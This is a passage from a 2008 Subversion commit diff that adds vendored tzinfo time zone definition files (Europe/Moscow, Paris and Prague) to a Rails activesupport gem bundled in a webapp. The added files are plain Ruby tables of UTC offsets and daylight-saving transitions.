+          tz.transition 2047, 3, :o7, 4937601, 2
+          tz.transition 2047, 10, :o2, 4938021, 2
+          tz.transition 2048, 3, :o7, 4938329, 2
+          tz.transition 2048, 10, :o2, 4938749, 2
+          tz.transition 2049, 3, :o7, 4939057, 2
+          tz.transition 2049, 10, :o2, 4939491, 2
+          tz.transition 2050, 3, :o7, 4939785, 2
+          tz.transition 2050, 10, :o2, 4940219, 2
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Moscow.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Moscow.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Moscow.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,181 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Europe
+      module Moscow
+        include TimezoneDefinition
+        
+        timezone 'Europe/Moscow' do |tz|
+          tz.offset :o0, 9020, 0, :LMT
+          tz.offset :o1, 9000, 0, :MMT
+          tz.offset :o2, 9048, 0, :MMT
+          tz.offset :o3, 9048, 3600, :MST
+          tz.offset :o4, 9048, 7200, :MDST
+          tz.offset :o5, 10800, 3600, :MSD
+          tz.offset :o6, 10800, 0, :MSK
+          tz.offset :o7, 10800, 7200, :MSD
+          tz.offset :o8, 7200, 0, :EET
+          tz.offset :o9, 7200, 3600, :EEST
+          
+          tz.transition 1879, 12, :o1, 10401330509, 4320
+          tz.transition 1916, 7, :o2, 116210275, 48
+          tz.transition 1917, 7, :o3, 8717080873, 3600
+          tz.transition 1917, 12, :o2, 8717725273, 3600
+          tz.transition 1918, 5, :o4, 8718283123, 3600
+          tz.transition 1918, 9, :o3, 8718668473, 3600
+          tz.transition 1919, 5, :o4, 8719597123, 3600
+          tz.transition 1919, 6, :o5, 8719705423, 3600
+          tz.transition 1919, 8, :o6, 7266559, 3
+          tz.transition 1921, 2, :o5, 7268206, 3
+          tz.transition 1921, 3, :o7, 58146463, 24
+          tz.transition 1921, 8, :o5, 58150399, 24
+          tz.transition 1921, 9, :o6, 7268890, 3
+          tz.transition 1922, 9, :o8, 19386627, 8
+          tz.transition 1930, 6, :o6, 29113781, 12
+          tz.transition 1981, 3, :o5, 354920400
+          tz.transition 1981, 9, :o6, 370728000
+          tz.transition 1982, 3, :o5, 386456400
+          tz.transition 1982, 9, :o6, 402264000
+          tz.transition 1983, 3, :o5, 417992400
+          tz.transition 1983, 9, :o6, 433800000
+          tz.transition 1984, 3, :o5, 449614800
+          tz.transition 1984, 9, :o6, 465346800
+          tz.transition 1985, 3, :o5, 481071600
+          tz.transition 1985, 9, :o6, 496796400
+          tz.transition 1986, 3, :o5, 512521200
+          tz.transition 1986, 9, :o6, 528246000
+          tz.transition 1987, 3, :o5, 543970800
+          tz.transition 1987, 9, :o6, 559695600
+          tz.transition 1988, 3, :o5, 575420400
+          tz.transition 1988, 9, :o6, 591145200
+          tz.transition 1989, 3, :o5, 606870000
+          tz.transition 1989, 9, :o6, 622594800
+          tz.transition 1990, 3, :o5, 638319600
+          tz.transition 1990, 9, :o6, 654649200
+          tz.transition 1991, 3, :o9, 670374000
+          tz.transition 1991, 9, :o8, 686102400
+          tz.transition 1992, 1, :o6, 695779200
+          tz.transition 1992, 3, :o5, 701812800
+          tz.transition 1992, 9, :o6, 717534000
+          tz.transition 1993, 3, :o5, 733273200
+          tz.transition 1993, 9, :o6, 748998000
+          tz.transition 1994, 3, :o5, 764722800
+          tz.transition 1994, 9, :o6, 780447600
+          tz.transition 1995, 3, :o5, 796172400
+          tz.transition 1995, 9, :o6, 811897200
+          tz.transition 1996, 3, :o5, 828226800
+          tz.transition 1996, 10, :o6, 846370800
+          tz.transition 1997, 3, :o5, 859676400
+          tz.transition 1997, 10, :o6, 877820400
+          tz.transition 1998, 3, :o5, 891126000
+          tz.transition 1998, 10, :o6, 909270000
+          tz.transition 1999, 3, :o5, 922575600
+          tz.transition 1999, 10, :o6, 941324400
+          tz.transition 2000, 3, :o5, 954025200
+          tz.transition 2000, 10, :o6, 972774000
+          tz.transition 2001, 3, :o5, 985474800
+          tz.transition 2001, 10, :o6, 1004223600
+          tz.transition 2002, 3, :o5, 1017529200
+          tz.transition 2002, 10, :o6, 1035673200
+          tz.transition 2003, 3, :o5, 1048978800
+          tz.transition 2003, 10, :o6, 1067122800
+          tz.transition 2004, 3, :o5, 1080428400
+          tz.transition 2004, 10, :o6, 1099177200
+          tz.transition 2005, 3, :o5, 1111878000
+          tz.transition 2005, 10, :o6, 1130626800
+          tz.transition 2006, 3, :o5, 1143327600
+          tz.transition 2006, 10, :o6, 1162076400
+          tz.transition 2007, 3, :o5, 1174777200
+          tz.transition 2007, 10, :o6, 1193526000
+          tz.transition 2008, 3, :o5, 1206831600
+          tz.transition 2008, 10, :o6, 1224975600
+          tz.transition 2009, 3, :o5, 1238281200
+          tz.transition 2009, 10, :o6, 1256425200
+          tz.transition 2010, 3, :o5, 1269730800
+          tz.transition 2010, 10, :o6, 1288479600
+          tz.transition 2011, 3, :o5, 1301180400
+          tz.transition 2011, 10, :o6, 1319929200
+          tz.transition 2012, 3, :o5, 1332630000
+          tz.transition 2012, 10, :o6, 1351378800
+          tz.transition 2013, 3, :o5, 1364684400
+          tz.transition 2013, 10, :o6, 1382828400
+          tz.transition 2014, 3, :o5, 1396134000
+          tz.transition 2014, 10, :o6, 1414278000
+          tz.transition 2015, 3, :o5, 1427583600
+          tz.transition 2015, 10, :o6, 1445727600
+          tz.transition 2016, 3, :o5, 1459033200
+          tz.transition 2016, 10, :o6, 1477782000
+          tz.transition 2017, 3, :o5, 1490482800
+          tz.transition 2017, 10, :o6, 1509231600
+          tz.transition 2018, 3, :o5, 1521932400
+          tz.transition 2018, 10, :o6, 1540681200
+          tz.transition 2019, 3, :o5, 1553986800
+          tz.transition 2019, 10, :o6, 1572130800
+          tz.transition 2020, 3, :o5, 1585436400
+          tz.transition 2020, 10, :o6, 1603580400
+          tz.transition 2021, 3, :o5, 1616886000
+          tz.transition 2021, 10, :o6, 1635634800
+          tz.transition 2022, 3, :o5, 1648335600
+          tz.transition 2022, 10, :o6, 1667084400
+          tz.transition 2023, 3, :o5, 1679785200
+          tz.transition 2023, 10, :o6, 1698534000
+          tz.transition 2024, 3, :o5, 1711839600
+          tz.transition 2024, 10, :o6, 1729983600
+          tz.transition 2025, 3, :o5, 1743289200
+          tz.transition 2025, 10, :o6, 1761433200
+          tz.transition 2026, 3, :o5, 1774738800
+          tz.transition 2026, 10, :o6, 1792882800
+          tz.transition 2027, 3, :o5, 1806188400
+          tz.transition 2027, 10, :o6, 1824937200
+          tz.transition 2028, 3, :o5, 1837638000
+          tz.transition 2028, 10, :o6, 1856386800
+          tz.transition 2029, 3, :o5, 1869087600
+          tz.transition 2029, 10, :o6, 1887836400
+          tz.transition 2030, 3, :o5, 1901142000
+          tz.transition 2030, 10, :o6, 1919286000
+          tz.transition 2031, 3, :o5, 1932591600
+          tz.transition 2031, 10, :o6, 1950735600
+          tz.transition 2032, 3, :o5, 1964041200
+          tz.transition 2032, 10, :o6, 1982790000
+          tz.transition 2033, 3, :o5, 1995490800
+          tz.transition 2033, 10, :o6, 2014239600
+          tz.transition 2034, 3, :o5, 2026940400
+          tz.transition 2034, 10, :o6, 2045689200
+          tz.transition 2035, 3, :o5, 2058390000
+          tz.transition 2035, 10, :o6, 2077138800
+          tz.transition 2036, 3, :o5, 2090444400
+          tz.transition 2036, 10, :o6, 2108588400
+          tz.transition 2037, 3, :o5, 2121894000
+          tz.transition 2037, 10, :o6, 2140038000
+          tz.transition 2038, 3, :o5, 59172251, 24
+          tz.transition 2038, 10, :o6, 59177459, 24
+          tz.transition 2039, 3, :o5, 59180987, 24
+          tz.transition 2039, 10, :o6, 59186195, 24
+          tz.transition 2040, 3, :o5, 59189723, 24
+          tz.transition 2040, 10, :o6, 59194931, 24
+          tz.transition 2041, 3, :o5, 59198627, 24
+          tz.transition 2041, 10, :o6, 59203667, 24
+          tz.transition 2042, 3, :o5, 59207363, 24
+          tz.transition 2042, 10, :o6, 59212403, 24
+          tz.transition 2043, 3, :o5, 59216099, 24
+          tz.transition 2043, 10, :o6, 59221139, 24
+          tz.transition 2044, 3, :o5, 59224835, 24
+          tz.transition 2044, 10, :o6, 59230043, 24
+          tz.transition 2045, 3, :o5, 59233571, 24
+          tz.transition 2045, 10, :o6, 59238779, 24
+          tz.transition 2046, 3, :o5, 59242307, 24
+          tz.transition 2046, 10, :o6, 59247515, 24
+          tz.transition 2047, 3, :o5, 59251211, 24
+          tz.transition 2047, 10, :o6, 59256251, 24
+          tz.transition 2048, 3, :o5, 59259947, 24
+          tz.transition 2048, 10, :o6, 59264987, 24
+          tz.transition 2049, 3, :o5, 59268683, 24
+          tz.transition 2049, 10, :o6, 59273891, 24
+          tz.transition 2050, 3, :o5, 59277419, 24
+          tz.transition 2050, 10, :o6, 59282627, 24
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Paris.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Paris.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Paris.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,232 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Europe
+      module Paris
+        include TimezoneDefinition
+        
+        timezone 'Europe/Paris' do |tz|
+          tz.offset :o0, 561, 0, :LMT
+          tz.offset :o1, 561, 0, :PMT
+          tz.offset :o2, 0, 0, :WET
+          tz.offset :o3, 0, 3600, :WEST
+          tz.offset :o4, 3600, 3600, :CEST
+          tz.offset :o5, 3600, 0, :CET
+          tz.offset :o6, 0, 7200, :WEMT
+          
+          tz.transition 1891, 3, :o1, 69460027033, 28800
+          tz.transition 1911, 3, :o2, 69670267033, 28800
+          tz.transition 1916, 6, :o3, 58104707, 24
+          tz.transition 1916, 10, :o2, 58107323, 24
+          tz.transition 1917, 3, :o3, 58111499, 24
+          tz.transition 1917, 10, :o2, 58116227, 24
+          tz.transition 1918, 3, :o3, 58119899, 24
+          tz.transition 1918, 10, :o2, 58124963, 24
+          tz.transition 1919, 3, :o3, 58128467, 24
+          tz.transition 1919, 10, :o2, 58133699, 24
+          tz.transition 1920, 2, :o3, 58136867, 24
+          tz.transition 1920, 10, :o2, 58142915, 24
+          tz.transition 1921, 3, :o3, 58146323, 24
+          tz.transition 1921, 10, :o2, 58151723, 24
+          tz.transition 1922, 3, :o3, 58155347, 24
+          tz.transition 1922, 10, :o2, 58160051, 24
+          tz.transition 1923, 5, :o3, 58165595, 24
+          tz.transition 1923, 10, :o2, 58168787, 24
+          tz.transition 1924, 3, :o3, 58172987, 24
+          tz.transition 1924, 10, :o2, 58177523, 24
+          tz.transition 1925, 4, :o3, 58181891, 24
+          tz.transition 1925, 10, :o2, 58186259, 24
+          tz.transition 1926, 4, :o3, 58190963, 24
+          tz.transition 1926, 10, :o2, 58194995, 24
+          tz.transition 1927, 4, :o3, 58199531, 24
+          tz.transition 1927, 10, :o2, 58203731, 24
+          tz.transition 1928, 4, :o3, 58208435, 24
+          tz.transition 1928, 10, :o2, 58212635, 24
+          tz.transition 1929, 4, :o3, 58217339, 24
+          tz.transition 1929, 10, :o2, 58221371, 24
+          tz.transition 1930, 4, :o3, 58225907, 24
+          tz.transition 1930, 10, :o2, 58230107, 24
+          tz.transition 1931, 4, :o3, 58234811, 24
+          tz.transition 1931, 10, :o2, 58238843, 24
+          tz.transition 1932, 4, :o3, 58243211, 24
+          tz.transition 1932, 10, :o2, 58247579, 24
+          tz.transition 1933, 3, :o3, 58251779, 24
+          tz.transition 1933, 10, :o2, 58256483, 24
+          tz.transition 1934, 4, :o3, 58260851, 24
+          tz.transition 1934, 10, :o2, 58265219, 24
+          tz.transition 1935, 3, :o3, 58269419, 24
+          tz.transition 1935, 10, :o2, 58273955, 24
+          tz.transition 1936, 4, :o3, 58278659, 24
+          tz.transition 1936, 10, :o2, 58282691, 24
+          tz.transition 1937, 4, :o3, 58287059, 24
+          tz.transition 1937, 10, :o2, 58291427, 24
+          tz.transition 1938, 3, :o3, 58295627, 24
+          tz.transition 1938, 10, :o2, 58300163, 24
+          tz.transition 1939, 4, :o3, 58304867, 24
+          tz.transition 1939, 11, :o2, 58310075, 24
+          tz.transition 1940, 2, :o3, 29156215, 12
+          tz.transition 1940, 6, :o4, 29157545, 12
+          tz.transition 1942, 11, :o5, 58335973, 24
+          tz.transition 1943, 3, :o4, 58339501, 24
+          tz.transition 1943, 10, :o5, 58344037, 24
+          tz.transition 1944, 4, :o4, 58348405, 24
+          tz.transition 1944, 8, :o6, 29175929, 12
+          tz.transition 1944, 10, :o3, 58352915, 24
+          tz.transition 1945, 4, :o6, 58357141, 24
+          tz.transition 1945, 9, :o5, 58361149, 24
+          tz.transition 1976, 3, :o4, 196819200
+          tz.transition 1976, 9, :o5, 212540400
+          tz.transition 1977, 4, :o4, 228877200
+          tz.transition 1977, 9, :o5, 243997200
+          tz.transition 1978, 4, :o4, 260326800
+          tz.transition 1978, 10, :o5, 276051600
+          tz.transition 1979, 4, :o4, 291776400
+          tz.transition 1979, 9, :o5, 307501200
+          tz.transition 1980, 4, :o4, 323830800
+          tz.transition 1980, 9, :o5, 338950800
+          tz.transition 1981, 3, :o4, 354675600
+          tz.transition 1981, 9, :o5, 370400400
+          tz.transition 1982, 3, :o4, 386125200
+          tz.transition 1982, 9, :o5, 401850000
+          tz.transition 1983, 3, :o4, 417574800
+          tz.transition 1983, 9, :o5, 433299600
+          tz.transition 1984, 3, :o4, 449024400
+          tz.transition 1984, 9, :o5, 465354000
+          tz.transition 1985, 3, :o4, 481078800
+          tz.transition 1985, 9, :o5, 496803600
+          tz.transition 1986, 3, :o4, 512528400
+          tz.transition 1986, 9, :o5, 528253200
+          tz.transition 1987, 3, :o4, 543978000
+          tz.transition 1987, 9, :o5, 559702800
+          tz.transition 1988, 3, :o4, 575427600
+          tz.transition 1988, 9, :o5, 591152400
+          tz.transition 1989, 3, :o4, 606877200
+          tz.transition 1989, 9, :o5, 622602000
+          tz.transition 1990, 3, :o4, 638326800
+          tz.transition 1990, 9, :o5, 654656400
+          tz.transition 1991, 3, :o4, 670381200
+          tz.transition 1991, 9, :o5, 686106000
+          tz.transition 1992, 3, :o4, 701830800
+          tz.transition 1992, 9, :o5, 717555600
+          tz.transition 1993, 3, :o4, 733280400
+          tz.transition 1993, 9, :o5, 749005200
+          tz.transition 1994, 3, :o4, 764730000
+          tz.transition 1994, 9, :o5, 780454800
+          tz.transition 1995, 3, :o4, 796179600
+          tz.transition 1995, 9, :o5, 811904400
+          tz.transition 1996, 3, :o4, 828234000
+          tz.transition 1996, 10, :o5, 846378000
+          tz.transition 1997, 3, :o4, 859683600
+          tz.transition 1997, 10, :o5, 877827600
+          tz.transition 1998, 3, :o4, 891133200
+          tz.transition 1998, 10, :o5, 909277200
+          tz.transition 1999, 3, :o4, 922582800
+          tz.transition 1999, 10, :o5, 941331600
+          tz.transition 2000, 3, :o4, 954032400
+          tz.transition 2000, 10, :o5, 972781200
+          tz.transition 2001, 3, :o4, 985482000
+          tz.transition 2001, 10, :o5, 1004230800
+          tz.transition 2002, 3, :o4, 1017536400
+          tz.transition 2002, 10, :o5, 1035680400
+          tz.transition 2003, 3, :o4, 1048986000
+          tz.transition 2003, 10, :o5, 1067130000
+          tz.transition 2004, 3, :o4, 1080435600
+          tz.transition 2004, 10, :o5, 1099184400
+          tz.transition 2005, 3, :o4, 1111885200
+          tz.transition 2005, 10, :o5, 1130634000
+          tz.transition 2006, 3, :o4, 1143334800
+          tz.transition 2006, 10, :o5, 1162083600
+          tz.transition 2007, 3, :o4, 1174784400
+          tz.transition 2007, 10, :o5, 1193533200
+          tz.transition 2008, 3, :o4, 1206838800
+          tz.transition 2008, 10, :o5, 1224982800
+          tz.transition 2009, 3, :o4, 1238288400
+          tz.transition 2009, 10, :o5, 1256432400
+          tz.transition 2010, 3, :o4, 1269738000
+          tz.transition 2010, 10, :o5, 1288486800
+          tz.transition 2011, 3, :o4, 1301187600
+          tz.transition 2011, 10, :o5, 1319936400
+          tz.transition 2012, 3, :o4, 1332637200
+          tz.transition 2012, 10, :o5, 1351386000
+          tz.transition 2013, 3, :o4, 1364691600
+          tz.transition 2013, 10, :o5, 1382835600
+          tz.transition 2014, 3, :o4, 1396141200
+          tz.transition 2014, 10, :o5, 1414285200
+          tz.transition 2015, 3, :o4, 1427590800
+          tz.transition 2015, 10, :o5, 1445734800
+          tz.transition 2016, 3, :o4, 1459040400
+          tz.transition 2016, 10, :o5, 1477789200
+          tz.transition 2017, 3, :o4, 1490490000
+          tz.transition 2017, 10, :o5, 1509238800
+          tz.transition 2018, 3, :o4, 1521939600
+          tz.transition 2018, 10, :o5, 1540688400
+          tz.transition 2019, 3, :o4, 1553994000
+          tz.transition 2019, 10, :o5, 1572138000
+          tz.transition 2020, 3, :o4, 1585443600
+          tz.transition 2020, 10, :o5, 1603587600
+          tz.transition 2021, 3, :o4, 1616893200
+          tz.transition 2021, 10, :o5, 1635642000
+          tz.transition 2022, 3, :o4, 1648342800
+          tz.transition 2022, 10, :o5, 1667091600
+          tz.transition 2023, 3, :o4, 1679792400
+          tz.transition 2023, 10, :o5, 1698541200
+          tz.transition 2024, 3, :o4, 1711846800
+          tz.transition 2024, 10, :o5, 1729990800
+          tz.transition 2025, 3, :o4, 1743296400
+          tz.transition 2025, 10, :o5, 1761440400
+          tz.transition 2026, 3, :o4, 1774746000
+          tz.transition 2026, 10, :o5, 1792890000
+          tz.transition 2027, 3, :o4, 1806195600
+          tz.transition 2027, 10, :o5, 1824944400
+          tz.transition 2028, 3, :o4, 1837645200
+          tz.transition 2028, 10, :o5, 1856394000
+          tz.transition 2029, 3, :o4, 1869094800
+          tz.transition 2029, 10, :o5, 1887843600
+          tz.transition 2030, 3, :o4, 1901149200
+          tz.transition 2030, 10, :o5, 1919293200
+          tz.transition 2031, 3, :o4, 1932598800
+          tz.transition 2031, 10, :o5, 1950742800
+          tz.transition 2032, 3, :o4, 1964048400
+          tz.transition 2032, 10, :o5, 1982797200
+          tz.transition 2033, 3, :o4, 1995498000
+          tz.transition 2033, 10, :o5, 2014246800
+          tz.transition 2034, 3, :o4, 2026947600
+          tz.transition 2034, 10, :o5, 2045696400
+          tz.transition 2035, 3, :o4, 2058397200
+          tz.transition 2035, 10, :o5, 2077146000
+          tz.transition 2036, 3, :o4, 2090451600
+          tz.transition 2036, 10, :o5, 2108595600
+          tz.transition 2037, 3, :o4, 2121901200
+          tz.transition 2037, 10, :o5, 2140045200
+          tz.transition 2038, 3, :o4, 59172253, 24
+          tz.transition 2038, 10, :o5, 59177461, 24
+          tz.transition 2039, 3, :o4, 59180989, 24
+          tz.transition 2039, 10, :o5, 59186197, 24
+          tz.transition 2040, 3, :o4, 59189725, 24
+          tz.transition 2040, 10, :o5, 59194933, 24
+          tz.transition 2041, 3, :o4, 59198629, 24
+          tz.transition 2041, 10, :o5, 59203669, 24
+          tz.transition 2042, 3, :o4, 59207365, 24
+          tz.transition 2042, 10, :o5, 59212405, 24
+          tz.transition 2043, 3, :o4, 59216101, 24
+          tz.transition 2043, 10, :o5, 59221141, 24
+          tz.transition 2044, 3, :o4, 59224837, 24
+          tz.transition 2044, 10, :o5, 59230045, 24
+          tz.transition 2045, 3, :o4, 59233573, 24
+          tz.transition 2045, 10, :o5, 59238781, 24
+          tz.transition 2046, 3, :o4, 59242309, 24
+          tz.transition 2046, 10, :o5, 59247517, 24
+          tz.transition 2047, 3, :o4, 59251213, 24
+          tz.transition 2047, 10, :o5, 59256253, 24
+          tz.transition 2048, 3, :o4, 59259949, 24
+          tz.transition 2048, 10, :o5, 59264989, 24
+          tz.transition 2049, 3, :o4, 59268685, 24
+          tz.transition 2049, 10, :o5, 59273893, 24
+          tz.transition 2050, 3, :o4, 59277421, 24
+          tz.transition 2050, 10, :o5, 59282629, 24
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Prague.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Prague.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Prague.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,187 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Europe
+      module Prague
+        include TimezoneDefinition
+        
+        timezone 'Europe/Prague' do |tz|
+          tz.offset :o0, 3464, 0, :LMT
+          tz.offset :o1, 3464, 0, :PMT
+          tz.offset :o2, 3600, 0, :CET
+          tz.offset :o3, 3600, 3600, :CEST
+          
+          tz.transition 1849, 12, :o1, 25884991367, 10800
+          tz.transition 1891, 9, :o2, 26049669767, 10800
+          tz.transition 1916, 4, :o3, 29051813, 12
+          tz.transition 1916, 9, :o2, 58107299, 24
+          tz.transition 1917, 4, :o3, 58112029, 24
+          tz.transition 1917, 9, :o2, 58115725, 24
+          tz.transition 1918, 4, :o3, 58120765, 24
+          tz.transition 1918, 9, :o2, 58124461, 24
+          tz.transition 1940, 4, :o3, 58313293, 24
+          tz.transition 1942, 11, :o2, 58335973, 24
+          tz.transition 1943, 3, :o3, 58339501, 24
+          tz.transition 1943, 10, :o2, 58344037, 24
+          tz.transition 1944, 4, :o3, 58348405, 24
+          tz.transition 1944, 9, :o2, 58352413, 24
+          tz.transition 1945, 4, :o3, 58357285, 24
+          tz.transition 1945, 11, :o2, 58362661, 24
+          tz.transition 1946, 5, :o3, 58366717, 24
+          tz.transition 1946, 10, :o2, 58370389, 24
+          tz.transition 1947, 4, :o3, 58375093, 24
+          tz.transition 1947, 10, :o2, 58379125, 24
+          tz.transition 1948, 4, :o3, 58383829, 24
+          tz.transition 1948, 10, :o2, 58387861, 24
+          tz.transition 1949, 4, :o3, 58392373, 24
+          tz.transition 1949, 10, :o2, 58396597, 24
+          tz.transition 1979, 4, :o3, 291776400
+          tz.transition 1979, 9, :o2, 307501200
+          tz.transition 1980, 4, :o3, 323830800
+          tz.transition 1980, 9, :o2, 338950800
+          tz.transition 1981, 3, :o3, 354675600
+          tz.transition 1981, 9, :o2, 370400400
+          tz.transition 1982, 3, :o3, 386125200
+          tz.transition 1982, 9, :o2, 401850000
+          tz.transition 1983, 3, :o3, 417574800
+          tz.transition 1983, 9, :o2, 433299600
+          tz.transition 1984, 3, :o3, 449024400
+          tz.transition 1984, 9, :o2, 465354000
+          tz.transition 1985, 3, :o3, 481078800
+          tz.transition 1985, 9, :o2, 496803600
+          tz.transition 1986, 3, :o3, 512528400
+          tz.transition 1986, 9, :o2, 528253200
+          tz.transition 1987, 3, :o3, 543978000
+          tz.transition 1987, 9, :o2, 559702800
+          tz.transition 1988, 3, :o3, 575427600
+          tz.transition 1988, 9, :o2, 591152400
+          tz.transition 1989, 3, :o3, 606877200
+          tz.transition 1989, 9, :o2, 622602000
+          tz.transition 1990, 3, :o3, 638326800
+          tz.transition 1990, 9, :o2, 654656400
+          tz.transition 1991, 3, :o3, 670381200
+          tz.transition 1991, 9, :o2, 686106000
+          tz.transition 1992, 3, :o3, 701830800
+          tz.transition 1992, 9, :o2, 717555600
+          tz.transition 1993, 3, :o3, 733280400
+          tz.transition 1993, 9, :o2, 749005200
+          tz.transition 1994, 3, :o3, 764730000
+          tz.transition 1994, 9, :o2, 780454800
+          tz.transition 1995, 3, :o3, 796179600
+          tz.transition 1995, 9, :o2, 811904400
+          tz.transition 1996, 3, :o3, 828234000
+          tz.transition 1996, 10, :o2, 846378000
+          tz.transition 1997, 3, :o3, 859683600
+          tz.transition 1997, 10, :o2, 877827600
+          tz.transition 1998, 3, :o3, 891133200
+          tz.transition 1998, 10, :o2, 909277200
+          tz.transition 1999, 3, :o3, 922582800
+          tz.transition 1999, 10, :o2, 941331600
+          tz.transition 2000, 3, :o3, 954032400
+          tz.transition 2000, 10, :o2, 972781200
+          tz.transition 2001, 3, :o3, 985482000
+          tz.transition 2001, 10, :o2, 1004230800
+          tz.transition 2002, 3, :o3, 1017536400
+          tz.transition 2002, 10, :o2, 1035680400
+          tz.transition 2003, 3, :o3, 1048986000
+          tz.transition 2003, 10, :o2, 1067130000
+          tz.transition 2004, 3, :o3, 1080435600
+          tz.transition 2004, 10, :o2, 1099184400
+          tz.transition 2005, 3, :o3, 1111885200
+          tz.transition 2005, 10, :o2, 1130634000
+          tz.transition 2006, 3, :o3, 1143334800
+          tz.transition 2006, 10, :o2, 1162083600
+          tz.transition 2007, 3, :o3, 1174784400
+          tz.transition 2007, 10, :o2, 1193533200
+          tz.transition 2008, 3, :o3, 1206838800
+          tz.transition 2008, 10, :o2, 1224982800
+          tz.transition 2009, 3, :o3, 1238288400
+          tz.transition 2009, 10, :o2, 1256432400
+          tz.transition 2010, 3, :o3, 1269738000
+          tz.transition 2010, 10, :o2, 1288486800
+          tz.transition 2011, 3, :o3, 1301187600
+          tz.transition 2011, 10, :o2, 1319936400
+          tz.transition 2012, 3, :o3, 1332637200
+          tz.transition 2012, 10, :o2, 1351386000
+          tz.transition 2013, 3, :o3, 1364691600
+          tz.transition 2013, 10, :o2, 1382835600
+          tz.transition 2014, 3, :o3, 1396141200
+          tz.transition 2014, 10, :o2, 1414285200
+          tz.transition 2015, 3, :o3, 1427590800
+          tz.transition 2015, 10, :o2, 1445734800
+          tz.transition 2016, 3, :o3, 1459040400
+          tz.transition 2016, 10, :o2, 1477789200
+          tz.transition 2017, 3, :o3, 1490490000
+          tz.transition 2017, 10, :o2, 1509238800
+          tz.transition 2018, 3, :o3, 1521939600
+          tz.transition 2018, 10, :o2, 1540688400
+          tz.transition 2019, 3, :o3, 1553994000
+          tz.transition 2019, 10, :o2, 1572138000
+          tz.transition 2020, 3, :o3, 1585443600
+          tz.transition 2020, 10, :o2, 1603587600
+          tz.transition 2021, 3, :o3, 1616893200
+          tz.transition 2021, 10, :o2, 1635642000
+          tz.transition 2022, 3, :o3, 1648342800
+          tz.transition 2022, 10, :o2, 1667091600
+          tz.transition 2023, 3, :o3, 1679792400
+          tz.transition 2023, 10, :o2, 1698541200
+          tz.transition 2024, 3, :o3, 1711846800
+          tz.transition 2024, 10, :o2, 1729990800
+          tz.transition 2025, 3, :o3, 1743296400
+          tz.transition 2025, 10, :o2, 1761440400
+          tz.transition 2026, 3, :o3, 1774746000
+          tz.transition 2026, 10, :o2, 1792890000
+          tz.transition 2027, 3, :o3, 1806195600
+          tz.transition 2027, 10, :o2, 1824944400
+          tz.transition 2028, 3, :o3, 1837645200
+          tz.transition 2028, 10, :o2, 1856394000
+          tz.transition 2029, 3, :o3, 1869094800
+          tz.transition 2029, 10, :o2, 1887843600
+          tz.transition 2030, 3, :o3, 1901149200
+          tz.transition 2030, 10, :o2, 1919293200
+          tz.transition 2031, 3, :o3, 1932598800
+          tz.transition 2031, 10, :o2, 1950742800
+          tz.transition 2032, 3, :o3, 1964048400
+          tz.transition 2032, 10, :o2, 1982797200
+          tz.transition 2033, 3, :o3, 1995498000
+          tz.transition 2033, 10, :o2, 2014246800
+          tz.transition 2034, 3, :o3, 2026947600
+          tz.transition 2034, 10, :o2, 2045696400
+          tz.transition 2035, 3, :o3, 2058397200
+          tz.transition 2035, 10, :o2, 2077146000
+          tz.transition 2036, 3, :o3, 2090451600
+          tz.transition 2036, 10, :o2, 2108595600
+          tz.transition 2037, 3, :o3, 2121901200
+          tz.transition 2037, 10, :o2, 2140045200
+          tz.transition 2038, 3, :o3, 59172253, 24
+          tz.transition 2038, 10, :o2, 59177461, 24
+          tz.transition 2039, 3, :o3, 59180989, 24
+          tz.transition 2039, 10, :o2, 59186197, 24
+          tz.transition 2040, 3, :o3, 59189725, 24
+          tz.transition 2040, 10, :o2, 59194933, 24
+          tz.transition 2041, 3, :o3, 59198629, 24
+          tz.transition 2041, 10, :o2, 59203669, 24
+          tz.transition 2042, 3, :o3, 59207365, 24
+          tz.transition 2042, 10, :o2, 59212405, 24
+          tz.transition 2043, 3, :o3, 59216101, 24
+          tz.transition 2043, 10, :o2, 59221141, 24
+          tz.transition 2044, 3, :o3, 59224837, 24
+          tz.transition 2044, 10, :o2, 59230045, 24
+          tz.transition 2045, 3, :o3, 59233573, 24
+          tz.transition 2045, 10, :o2, 59238781, 24
+          tz.transition 2046, 3, :o3, 59242309, 24
+          tz.transition 2046, 10, :o2, 59247517, 24
+          tz.transition 2047, 3, :o3, 59251213, 24
+          tz.transition 2047, 10, :o2, 59256253, 24
+          tz.transition 2048, 3, :o3, 59259949, 24
+          tz.transition 2048, 10, :o2, 59264989, 24
+          tz.transition 2049, 3, :o3, 59268685, 24
+          tz.transition 2049, 10, :o2, 59273893, 24
